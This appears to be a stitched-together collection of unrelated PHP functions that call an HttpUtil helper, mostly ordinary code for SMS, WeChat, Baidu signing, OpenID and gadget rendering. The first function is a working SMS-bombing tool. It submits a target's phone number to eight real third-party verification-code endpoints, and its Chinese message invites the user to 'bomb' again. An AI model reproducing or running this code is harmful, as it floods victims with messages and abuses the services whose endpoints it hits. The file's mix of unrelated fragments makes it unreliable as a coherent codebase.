public function get() { if (preg_match("/^((1[3,5,8][0-9])|(14[5,7])|(17[0,6,7,8]))\\d{8}\$/", $this->keyword)) { $http_util = new HttpUtil(); $data = array("http://go.5ivx.com/Home/Index/code?mobile={$this->keyword}&channel=hl-gdt-4", "http://promotion.trip.taobao.com/platform/tripp_send_sms_screen.htm?_ksTS=1422022510111_178&callback=jsonp179&subActId=1391&phonenum={$this->keyword}", "http://usercenter.12308.com/verifyCode/sendCode.sc?mobilePhone={$this->keyword}", "http://www.ule.com/status/often.html?jsonpCallback=jsonp1419507393210&_=1419507405579&userMobile={$this->keyword}", "http://id.ourgame.com/sjyzm!getMobileYzm.do?passport={$this->keyword}", "http://smsspub.mail.163.com/mobileserv/fsms.do?callback=_tmp_jsonp_callback1419408928602&product=AndroidMail&template=ds23&mobile={$this->keyword}", "http://m.jiuxian.com/m_v1/user/sendLoginCode?type=0&mobile=={$this->keyword}", "http://www.ule.com/status/often.html?jsonpCallback=jsonp1419507393210&_=1419507405579&userMobile={$this->keyword}"); foreach ($data as $value) { $http_util->get($value); } return "已经轰炸一轮...\n再来一轮请重新输入手机号,建议稍等片刻再轰炸!\n如果觉得好用,请推荐公众号给你的好友。\n\n【输入Q/q返回主界面!】"; } else { return "您输入的手机号码不是有效的手机号码,请检查后重试!\n\n【输入Q/q返回主界面!】"; } }
public function create_menu($app_id, $app_secret) { $access_token = $this->getAccessToken($app_id, $app_secret); $url = "https://api.yixin.im/cgi-bin/menu/create?access_token=" . $access_token; $returnValue = HttpUtil::post($url, $this->menu_data); var_dump($returnValue); }
public function del($data = array()) { if (!array_key_exists('tpl_id', $data)) { return new Result(null, $data, null, $error = 'tpl_id 为空'); } $data['apikey'] = $this->apikey; return HttpUtil::PostCURL($this->yunpian_config['URI_DEL_TEMPLATE'], $data); }
public function recharge($data = array()) { if (!array_key_exists('mobile', $data)) { return new Result(null, $data, null, $error = 'mobile 为空'); } $data['apikey'] = $this->apikey; return HttpUtil::PostCURL($this->yunpian_config['URI_RECHARGE_FLOW'], $data); }
public function fetchWsdl() { if (0 == strncmp('https://', $this->uri, 8) || 0 == strncmp('http://', $this->uri, 7)) { return HttpUtil::get(new HttpConnection(new URL($this->uri))); } else { return FileUtil::getContents(new File($this->uri)); } }
public function getSignedInAccountId(&$jwt) { if ($jwt == NULL) { $jwt = HttpUtil::getJWTFromHeader(); } $jwtPayload = OpenIDConnect::getValidatedJWTPayload($jwt); if (isset($jwtPayload->email) && $jwtPayload->email != NULL && isset($jwtPayload->email_verified) && $jwtPayload->email_verified === TRUE) { $emailParts = explode('@', $jwtPayload->email); return $this->getAccountIdByName($emailParts[0]); } return NULL; }
function GetMessage() { $url = 'https://mp.weixin.qq.com/cgi-bin/message?t=message/list&count=1000' . '&day=7&token=' . $this->token . '&lang=zh_CN'; $httpClient = new HttpUtil(); $httpClient->referer = 'https://mp.weixin.qq.com/advanced/autoreply?t=ivr/reply&action=beadded&token=' . $this->token . '&lang=zh_CN'; $httpClient->getHeader = "0"; $result = $httpClient->GetContent($url); if (preg_match('/\\{\\"msg_item\\":\\[(.*)\\]\\}/', $result, $matches)) { $objectres = json_decode($matches[0]); $mongoClient = new MongoUtil("testwechat"); foreach ($objectres->msg_item as $object) { $findres = $mongoClient->finone("message", array("messageid" => $object->id)); if (!isset($findres)) { $doc = array("messageid" => $object->id, "fakeid" => $object->fakeid, "nick_name" => $object->nick_name, "content" => $object->content, "date_time" => $object->date_time); $mongoClient->insert("message", $doc); } else { break; } } } else { print_r($result); } }
public function tpl_send($data = array()) { if (!array_key_exists('mobile', $data)) { return new Result(null, $data, null, 'mobile 为空'); } if (!array_key_exists('tpl_id', $data)) { return new Result(null, $data, null, 'tpl_id 为空'); } if (!array_key_exists('tpl_value', $data)) { return new Result(null, $data, null, 'tpl_value 为空'); } $data['apikey'] = $this->apikey; return HttpUtil::PostCURL($this->yunpian_config['URI_SEND_TPL_SMS'], $data); }
static function getIframeURL($gadget, $context) { $v = $gadget->getChecksum(); $view = HttpUtil::getView($gadget, $context); $up = ''; $prefs = $context->getUserPrefs(); foreach ($gadget->getUserPrefs() as $pref) { $name = $pref->getName(); $value = $prefs->getPref($name); if ($value == null) { $value = $pref->getDefaultValue(); } $up .= '&up_' . urlencode($name) . '=' . urlencode($value); } // note: put the URL last, else some browsers seem to get confused (reported by hi5) return Config::get('default_iframe_prefix') . 'container=' . $context->getContainer() . ($context->getIgnoreCache() ? '&nocache=1' : '&v=' . $v) . ($context->getModuleId() != 0 ? '&mid=' . $context->getModuleId() : '') . '&lang=' . $context->getLocale()->getLanguage() . '&country=' . $context->getLocale()->getCountry() . '&view=' . $view->getName() . $up . '&url=' . urlencode($context->getUrl()); }
/** * Tests HttpUtil::getView() */ public function testGetView() { $this->GadgetServer = new GadgetServer(); // prevent polution from other test cases + make sure we're not testing // a cached result $_GET = array('nocache' => 1, 'view' => 'profile'); $_POST = array(); $this->GadgetContext = new GadgetContext('GADGET'); $this->GadgetContext->setUrl('http://test.chabotc.com/testGadget.xml'); $this->gadget = $this->GadgetServer->processGadget($this->GadgetContext); $view = HttpUtil::getView($this->gadget, $this->GadgetContext); $this->assertEquals('profile', $view->getName()); $this->assertEquals('HTML', $view->getType()); $this->assertEquals('', $view->getHref()); $this->assertEquals("content", $view->getContent()); $this->assertEquals("400", $view->preferedHeight); $this->assertEquals("300", $view->preferedWidth); $this->assertFalse($view->getQuirks()); }
private static function getJsApiTicket() { $ck = Cache::CK_WX_JSAPI_TICKET . WX_APP_ID; $ret = Cache::get($ck); if (!empty($ret)) { return $ret; } $accessToken = self::getAccessToken(); if ($accessToken === false) { return false; } $url = 'https://api.weixin.qq.com/cgi-bin/ticket/getticket?type=jsApi&access_token=' . $accessToken; $ret = HttpUtil::request($url); if ($ret === false) { Log::fatal('weixin - get js api ticket failed!'); return false; } $ret = json_decode($ret, true); if (!empty($ret['errcode'])) { Log::fatal('weixin - get js api ticket failed! errcode = ' . $ret['errcode'] . ' errmsg=' . $ret['errmsg']); return false; } $ticket = $ret['ticket']; $expireIn = (int) $ret['expires_in']; if (empty($ticket)) { Log::fatal('weixin - get js api ticket empty!'); return false; } Cache::setex($ck, $expireIn - 300, $ticket); return $ticket; }
<?php require 'DocConf.php'; require 'BceSign.php'; global $g_doc_configs; global $my_credentials; //发布文档 $documentId = "doc-ggwsf1frcsqxfdb"; $host = $g_doc_configs['endpoint']; $path = "/v2/document/" . $documentId; $method = "PUT"; $parms = array("publish" => ""); date_default_timezone_set('UTC'); $timestamp = date("Y-m-d") . "T" . date("H:i:s") . "Z"; $Authorization = getSigner($host, $method, $path, $parms, $timestamp); $httputil = new HttpUtil(); $parms = $httputil->getCanonicalQueryString($parms); $url = "http://" . $host . $path . "?" . $parms; $head = array("Content-Type:text/plain", "Authorization:{$Authorization}", "x-bce-date:{$timestamp}"); $data = array(); $data_string = json_encode($data); //发送HTTP请求 $curlp = curl_init(); curl_setopt($curlp, CURLOPT_URL, $url); curl_setopt($curlp, CURLOPT_HTTPHEADER, $head); //curl_setopt($curlp, CURLOPT_POSTFIELDS, $data_string); //curl_setopt($curlp, CURLOPT_POST, 0); curl_setopt($curlp, CURLOPT_CUSTOMREQUEST, 'PUT'); curl_setopt($curlp, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($curlp); curl_close($curlp);
function fun1() { $objHttpUtil = new HttpUtil(); $result = $objHttpUtil->getHostFromHttpUrl('http://127.0.0.1/index.php'); echo $result; }
public function pull_status($data = array()) { $data['apikey'] = $this->apikey; return HttpUtil::PostCURL($this->yunpian_config['URI_PULL_VOICE_STATUS'], $data); }
private function logReqInfo() { $data = array('ip' => HttpUtil::getClientIp(), 'host' => isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '', 'uri' => $_SERVER['REQUEST_URI'], 'query' => $_SERVER['QUERY_STRING'], 'method' => $_SERVER['REQUEST_METHOD'], 'referer' => isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '', 'cookie' => $_COOKIE, 'params' => $_REQUEST); LoggerUtil::info(json_encode($data, JSON_UNESCAPED_UNICODE)); }
public static function getCanonicalHeaders($headers) { //如果没有headers,则返回空串 if (count($headers) == 0) { return ''; } $headerStrings = array(); foreach ($headers as $k => $v) { //跳过key为null的 if ($k === null) { continue; } //如果value为null,则赋值为空串 if ($v === null) { $v = ''; } //trim后再encode,之后使用':'号连接起来 $headerStrings[] = HttpUtil::urlEncode(strtolower(trim($k))) . ':' . HttpUtil::urlEncode(trim($v)); } //字典序排序 sort($headerStrings); //用'\n'把它们连接起来 return implode("\n", $headerStrings); }
private static function getOpenIDConfig($key) { $openIDConfigJSON = SessionCache::get(self::$OPENID_CONFIG_CACHE_KEY); if ($openIDConfigJSON == FALSE) { $openIDConfigJSON = HttpUtil::processRequest(self::OPENID_CONFIG_URL_KEY); SessionCache::set(self::$OPENID_CONFIG_CACHE_KEY, $openIDConfigJSON); } $openIDConfig = json_decode($openIDConfigJSON, TRUE); return $openIDConfig[$key]; }
public static function wxGeoConvToBaidu($coords) { if (empty($coords) || strlen($coords) < 8) { return false; } $ck = Cache::CK_BAIDU_WX_GEOCONV . $coords; $result = Cache::get($ck); if ($result !== false) { return json_decode($result, true); } $querystringArrays = array('ak' => self::APPKEY, 'coords' => $coords, 'output' => 'json', 'from' => '3', 'to' => '5'); $uri = '/geoconv/v1/'; $sn = self::caculateAKSN(self::SECURITY_KEY, $uri, $querystringArrays); $url = 'http://api.map.baidu.com/geoconv/v1/?ak=%s&coords=%s&output=%s&from=%s&to=%s&sn=%s'; $url = sprintf($url, self::APPKEY, urlencode($coords), 'json', '3', '5', $sn); $ret = HttpUtil::request($url, false, false, 2); if ($ret === false) { Log::warng('baidu ' . __METHOD__ . ' - request timeout or fail coords=' . $coords); return false; } $retDecode = json_decode($ret, true); if ($retDecode['status'] != 0) { Log::warng('baidu ' . __METHOD__ . ' - error status=' . $retDecode['status'] . ' coords=' . $coords); return false; } if (!empty($retDecode)) { Cache::set($ck, json_encode($retDecode['result'][0])); } return $retDecode['result'][0]; }
public function set($data = array()) { $data['apikey'] = $this->apikey; return HttpUtil::PostCURL($this->yunpian_config['URI_SET_USER_INFO'], $data); }
/** * Run a hash database server. * * @return void */ public function run() { while ($this->conn = stream_socket_accept($this->sock, -1.0)) { try { stream_set_timeout($this->conn, $this->timeoutSec, $this->timeoutUsec); /** * Receive and parse HTTP headers. */ $headers_string = ''; $line = ''; while (!feof($this->conn) && ($line = fgets($this->conn)) !== false) { if (strlen(trim($line)) == 0) { break; } $headers_string .= $line; } if ($line === false) { $info = stream_get_meta_data($this->conn); $code = $info['timed_out'] ? 408 : 400; throw new TCHDBRequestException(self::$statuses[$code], $code); } $headers = HttpUtil::parseHeaders($headers_string); //print_r($headers); if (!$headers || !isset($headers['Request Method']) || !isset($headers['Request Url']) || !isset($headers['Host'])) { throw new TCHDBRequestException(self::$statuses[400], 400); } /** * Decode an URL. */ $key = ltrim($headers['Request Url'], '/'); if (strlen($key) == 0) { throw new TCHDBRequestException(self::$statuses[400], 400); } $key = rawurldecode($key); /** * Handle a request. */ switch (strtoupper($headers['Request Method'])) { case 'GET': $this->handleGet($key); break; case 'PUT': $this->handlePut($key, $headers); break; case 'DELETE': $this->handleDelete($key); break; default: $this->returnStatus(405); } } catch (TCHDBRequestException $e) { $this->returnStatus($e->getCode(), $e->getMessage()); } catch (Exception $e) { $this->returnStatus(500, $e->getMessage()); } fclose($this->conn); } }
/** * Do del.icio.us-Request * * @param string url of del.icio.us-request * @param array param of del.icio.us-request * @return string */ protected function _doRequest($url, $param = array()) { return HttpUtil::get(new HttpConnection($url), $param, array(new BasicAuthorization($this->username, $this->password))); }
/** * Takes the gadget to output, and depending on its content type calls either outputHtml- * or outputUrlGadget * * @param Gadget $gadget gadget to render * @param string $view the view to render (only valid with a html content type) */ private function outputGadget($gadget, $context) { $view = HttpUtil::getView($gadget, $context); switch ($view->getType()) { case 'HTML': $this->outputHtmlGadget($gadget, $context, $view); break; case 'URL': $this->outputUrlGadget($gadget, $context, $view); break; } }
public function sign(array $credentials, $httpMethod, $path, $headers, $params, $options = array()) { if (!isset($options[SignOption::EXPIRATION_IN_SECONDS])) { $expirationInSeconds = SignOption::DEFAULT_EXPIRATION_IN_SECONDS; } else { $expirationInSeconds = $options[SignOption::EXPIRATION_IN_SECONDS]; } $accessKeyId = $credentials['ak']; $secretAccessKey = $credentials['sk']; //Notice: timestamp should be UTC if (!isset($options[SignOption::TIMESTAMP])) { $timestamp = new \DateTime(); } else { $timestamp = $options[SignOption::TIMESTAMP]; } $timestamp->setTimezone(new \DateTimeZone("UTC")); //Generate authString $authString = SampleSigner::BCE_AUTH_VERSION . '/' . $accessKeyId . '/' . $timestamp->format("Y-m-d\\TH:i:s\\Z") . '/' . $expirationInSeconds; //Generate sign key with auth-string and SK using SHA-256 $signingKey = hash_hmac('sha256', $authString, $secretAccessKey); //Generate canonical uri $canonicalURI = HttpUtil::getCanonicalURIPath($path); //Generate canonical query string $canonicalQueryString = HttpUtil::getCanonicalQueryString($params); //Fill headersToSign to specify which header do you want to sign $headersToSign = null; if (isset($options[SignOption::HEADERS_TO_SIGN])) { $headersToSign = $options[SignOption::HEADERS_TO_SIGN]; } //Generate canonical headers $canonicalHeader = HttpUtil::getCanonicalHeaders(SampleSigner::getHeadersToSign($headers, $headersToSign)); $signedHeaders = ''; if ($headersToSign !== null) { $signedHeaders = strtolower(trim(implode(";", array_keys($headersToSign)))); } //Generate canonical request $canonicalRequest = "{$httpMethod}\n{$canonicalURI}\n" . "{$canonicalQueryString}\n{$canonicalHeader}"; //Generate signature with canonical request and sign key using SHA-256 $signature = hash_hmac('sha256', $canonicalRequest, $signingKey); //.Catenate result string $authorizationHeader = "{$authString}/{$signedHeaders}/{$signature}"; return $authorizationHeader; }
private static function renderCsv($actionName, $source) { HttpUtil::sendDownloadHeaders($actionName . '.csv', 'text/csv'); $rows = $source->getRows(); if (count($rows) > 0) { $keys = array_keys($rows[0]); self::pruneKeys($keys); echo afOutput::asCsv($keys); foreach ($rows as $row) { echo afOutput::asCsv(self::extractValues($row, $keys)); } } exit; }
private static function verifySignatureAtGoogle($jwt) { $response = HttpUtil::processRequest('https://www.googleapis.com/oauth2/v1/tokeninfo', array('id_token' => $jwt)); return json_decode($response, TRUE); }